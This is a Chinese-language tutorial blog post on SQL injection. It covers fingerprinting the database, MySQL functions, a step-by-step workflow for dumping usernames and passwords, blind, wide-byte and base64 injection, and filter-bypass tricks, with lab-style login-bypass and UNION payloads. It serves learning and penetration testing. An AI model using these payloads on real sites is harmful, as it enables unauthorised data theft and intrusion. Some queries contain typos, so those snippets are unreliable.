0%

sql注入总结

0x01 前言

在本篇随笔当中将会介绍什么是SQL注入,如何查找和利用SQL注入及如何防止SQL注入

0x02 SQL注入

1. 原理:

客户端提交的表单数据被拼接到数据库的查询语句当中,被当作SQL语句的一部分执行。

SQL injection is a web security vulnerability that allows an attacker to interfere with queries that an application makes to its databases.It generally allows an attacker to view data that not normally able to retrive.

2. 危害:

数据库信息泄漏、网页篡改、服务器被远程控制,被安装后门、网站被挂马,传播恶意软件(修改数据库一些字段的值,嵌入网马链接,进行挂马攻击)、数据库被恶意操作(数据库服务器被攻击,数据库的系统管理员帐户被窜改)、破坏硬盘数据,瘫痪全系统。

3.相关(可跳过)

a.数据库分类及判断:

数据库分关系型数据库和非关系型数据库。

关系型数据库:主要代表:Mysql、SQL Server、Oracle、PostgreSQL。关系型数据库是指采用了二维表格模型这种关系模型来组织数据的数据库。支持联表查询、使用正则表达式查询、嵌套查询,还可写独立的SQL脚本

非关系型数据库:主要代表MongoDB,Redis、CouchDB。NoSQL非关系型数据库,主要指那些非关系型的、分布式的,且一般不保证ACID的数据存储系统。NoSQL以键值来存储,且结构不稳定,每个元组字段不同,不局限于固定结构,可以减少时间和空间开销。获取用户的不同信息时,仅需要根据key来取出对应的value值即可。

其中,判断后台数据库类型

1.根据web语言判断:

数据库类型 语言
Mysql、PostgreSQL PHP
Oracle、Mysql Java
Oracle JSP
MSSQL(Microsoft SQL Server) ASP和.NET

2.根据操作系统:

Mysql:Apache

SQL server:windows(IIS)

3.根据数据库报错判断:

a.MYSQL数据库

1
error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

有mysql关键字,为MYSQL数据库。

b.MSSQL数据库

1
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'  [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1:

mssql是微软的,由Microsoft和ODBC,为MSSQL数据库

c.access数据库

Microsoft JET Database Engine错误’80040e14’错误的话,则是access数据库

1
2
注:
详见:https://www.jianshu.com/p/e308d96e2ecd

d.ORACLE数据库

ORA是ORACLE

以下都以Mysql为例

b. 常见函数:

  1. ```

    1. version() MySQL 版本 select version()

    2. user() 数据库用户名

    3. database() 数据库名 select databases;

    4. @@datadir 返回数据库的存储目录 select @@datadir;

    5. @@version_compile_os 操作系统版本 select @@version_compile_os;

    6. SQL 注释语句 (“–”与”//“)

      (1)#
      (2)– 表示单行注释
      (3) /comment/ 用于多行(块)注释
      (4)/*! MYSQL Special SQL */

    7. concat(str1,str2,…) 没有分隔符地连接字符串,如有任何一个参数为NULL ,则返回值为 NULL

    8. concat_ws(separator,str1,str2,…) 含有分隔符地连接字符串

    9. group_concat(str1,str2,…) 连接一个组的所有字符串,并以逗号分隔每条数据

    10. mid(str, pos, len);
      substr();
      substring()-从一个字符串中截取指定数量的字符

    11. limit() 从某个值开始,取出之后的N条数据的语法 (返回结果中的前几条数据或者中间的数据)
      select * from 表名 limit M,N;m是:指从m位开始(第一位为0) n是:指取n条

    12. order by 默认按照升序对记录进行排序, ORDER BY Company (DESC)

    13. group by 结合合计函数,根据一个或多个列对结果集进行分组

    14. sleep()
      select sleep(N)可以让此语句运行N秒钟

    15. if() 语法:
      IF(expr1,expr2,expr3) 其中,expr1是判断条件,expr2和expr3是符合expr1的自定义的返回结果。

    16. left() LEFT(str,len) 返回最左边的n个字符的字符串str,或NULL如果任何参数是NULL

    17. count() COUNT(column_name) 语法 COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入)

    18. round() 四舍五入一个正数或者负数,结果为一定长度的值

    19. hex() 16进制编码 select hex(‘dvwa’) //编码 select unhex(‘64767761’) //解码

      select 0x64767761 //16进制解码

    20. ascii(arg) :返回目标字符对应的ASCII码。 ord(arg)将字符转为ASCII

    21. char(arg):返回ASCII码只对应的字符 语句:select char(97)

    22. hex():将目标字符串装换成16进制格式的数据 语句: select hex(“dvwa”)

    23. unhex():将16进制格式的数据装换成原字符串

      语句:unhex(64767761) 
      
    24. load_file()读取文件

    25. floor()返回小于等于X的最大整数

    26. strcmp() 比较两个字符串ascii值的大小(大小写不敏感)

    27. exp()返回e的X次方

    28. Mysql可以使用的空白字符:
      %09
      %0a
      %0b
      %0c
      %0d
      %20
      %a0
      /**/

      1
      2
      3
      4
      5
      6
      7

      ### c. 常用语句:

      - 查库

      ```sql
      select schema_name from imformation_schema.schemata;
    • 查表
    1
    select schema_table from information_schema.tables where schema_name='security';
    • 查字段
    1
    select colunm_name from information_schema.colunms where table_name=users and table_schema='security';
    • 查数据
    1
    select * from security.users;

    d. 常用名词:

    information_schema

    系统数据库,记录当前数据库的数据库,表,列,用户权限等信息

    SCHEMATA

    储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等

    TABLES

    储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等

    COLUMNS

    储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

4. 基本流程:

  1. 判断是否有注入点

  2. 获取数据库基本信息

    字段数:

    1
    order by n 
  3. 获取数据库库名

    1
    2
    3
    4
    --获取系统数据库名
    select null,null,schema_name from information_schema.schemata
    --获取当前数据库名
    select null,null,...,database()
  4. 获取数据库表名

    1
    2
    3
    select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
    --或者
    select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1
  5. 获取数据库列名

    1
    select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
  6. 获取用户信息

    1
    select null,group_concat(username,password) from users
  7. 破解数据

  8. 提升权限

  9. 内网渗透

5. 注入分类

按变量类型分

  • 数字型注入:注入的参数为整数
  • 字符型注入:注入的参数为字符/串
  • 搜索注入:在搜索栏中利用恶意代码进行注入

按HTTP提交方式分

  • GET注入

  • POST注入:注入字段在POST数据中

  • Cookie注入:注入字段在Cookie数据中

  • XFF注入:XFF(X-Forward-For),简称XFF头,它代表客户端真实的ip地址

按注入方式分

  • 报错注入

  • 盲注

    • 布尔盲注

      1
      id=1' substr(database(),1,1)='t'--+     /*判断数据名长度*/
    • 时间盲注

      1
      id = 1 and if(length(database())>1,sleep(5),1)
  • union注入

    列数相同且类型才能正常展示

    1
    id =-1 union select 1,2,3 /*获取字段*/

编码问题

  • 宽字节注入

    1. 宽字节是相对于ascII这样单字节而言;GB2312、GBK、GB18030、BIG5、Shift_JIS等都是宽字节,实际占两字节
    2. 一个gbk编码汉字,占2个字节。一个utf-8编码汉字,占3个字节
    3. 数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入

    转义函数:

    为过滤用户输入,对特殊的字符加反斜杠“\”进行转义;

    Mysql转义函数:addslashes,mysql_real_escape_string,mysql_escape_string等

    利用条件:

    • 查询参数是被单引号包围的,传入的单引号又被转义符()转义,如在后台数据库中对接受的参数使用addslashes()过滤
    • 数据库的编码为GBK
    • 前一个ASCII码要大于128,才可以到达汉字的编码范围

    利用方式:

    1
    id = -1%DF' union select 1,user(),3,%23

    在上述条件下,单引号’被转义为%5c,所以就构成了**%df**%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸。

    1
    2
    %df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’
    用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

    防御:

    使用mysql_set_charset指定字符集且使用mysql_real_escape_string进行转义

    1
    SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary
    1
    mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集(使用mysql_set_charset指定字符集),不会出现前面的df和5c拼接为一个宽字节的问题
  • base64注入:注入字符串经过base64加密

    对参数进行base64编码,再发送请求。

    1
    2
    /*id=1',1的base64编码为MSc=,而=的url编码为%3d*/
    id=MSc%3d

3.注入绕过

  • 大小写绕过:大小写不敏感

  • 双写绕过:将关键字select等只使用replace()函数置换为空,select变成seleselectct

  • 编码绕过(url全编码、十六进制):

    • 十六进制绕过
    1
    2
    3
    4
    5
    6
    mysql> select * from users where username = 0x7465737431;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    | 1 | test1 | pass |
    +----+----------+----------+
    • ascii 编码绕过

      Test 等价于 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

  • 内联注释绕过 /* */

  • 关键字替换

    • 逗号绕过

      substr、mid()函数中可以利用from to来摆脱对逗号的利用;

      limit中可以利用offset来摆脱对逗号的利用

    • 比较符号( >、< )绕过

      1
      2
      3
      mysql> select * from users where !(id <> 1);
      --等价于
      mysql> select * from users where id = 1;
    • 逻辑符号的替换(and=&& or=|| xor=| not=!)

    • 空格绕过(用(),+等绕过)

  • 等价函数绕过

    • hex()、bin()=ascii()
    • concat_ws()=group_concat()
    • mid()、substr()=substring()
    • sleep() –>benchmark()
  • 缓冲区溢出绕过 (id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+ 其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。。一般会存在临界值,其实这种方法还对后缀名的绕过也有用)

到这儿大概可以拿下数据库的基本用户权限,若需提权需参考mysql MOF和UDF提权。

4. 练习:

以下为自己练习内容(可忽略)

1.Retrieving hidden data

where子句的SQLi允许查询隐藏数据

  • 测试是否存在注入:’ ‘’,内部服务器错误,存在sql注入。

  • 数据库正常查询语句:
1
SELECT * FROM products WHERE category = 'pets' AND release = 1
  • 加单/双引号测试注入:内部服务器报错
1
SELECT * FROM products WHERE category = ''' AND release = 1
  • 加双连接符注释掉后面内容:无category为空的内容
1
SELECT * FROM products WHERE category = ''--' AND release = 1
  • 加入真命题,返回全部内容,包含发布与未发布的。release=1代表已发布的。
1
SELECT * FROM products WHERE category = '' or 1=1 --' AND release = 1

2.Subverting application logic

登陆绕过

与上面相同,这里不再过多赘述

1
2
3
4
5
6
正常查询语句:
SELECT firstname FROM users WHERE username = 'administrator' AND password = 'admin'
测试:
SELECT firstname FROM users WHERE username = ''' AND password = 'admin'
注释后成功注入:
SELECT firstname FROM users WHERE username = 'administrator'-- AND password = 'admin'

3.UNION attacks, where you can retrieve data from different database tables.

从数据库表中检索数据:

1
2
3
4
正常查询:
SELECT name,description FROM products WHERE category = 'GIFTS'
查询其他数据:
SELECT name,description FROM products WHERE category = ''UNION SELECT username, password FROM users--

union对原始查询结果追加多个额外的SELECT查询。必须满足:

  • 各个查询列数量相同。
  • 每个列中的数据类型相同。

要进行union注入的前提是,知道原始查询返回的列数、原始查询中返回的哪些列的数据类型比较适合保存注入的结果。

首先需要确定列数:

1
2
3
4
5
6
7
8
9
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
//NULL可以转换为每种常用的数据类型
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

0x03 参考:

https://www.loongten.com/2019/12/28/pentest-learn-sql-bypass/

https://xz.aliyun.com/t/2869

https://tingqiao.github.io/posts/5a68b32e/

https://www.jianshu.com/p/5de47d05e333

你想在文章末尾对读者说的话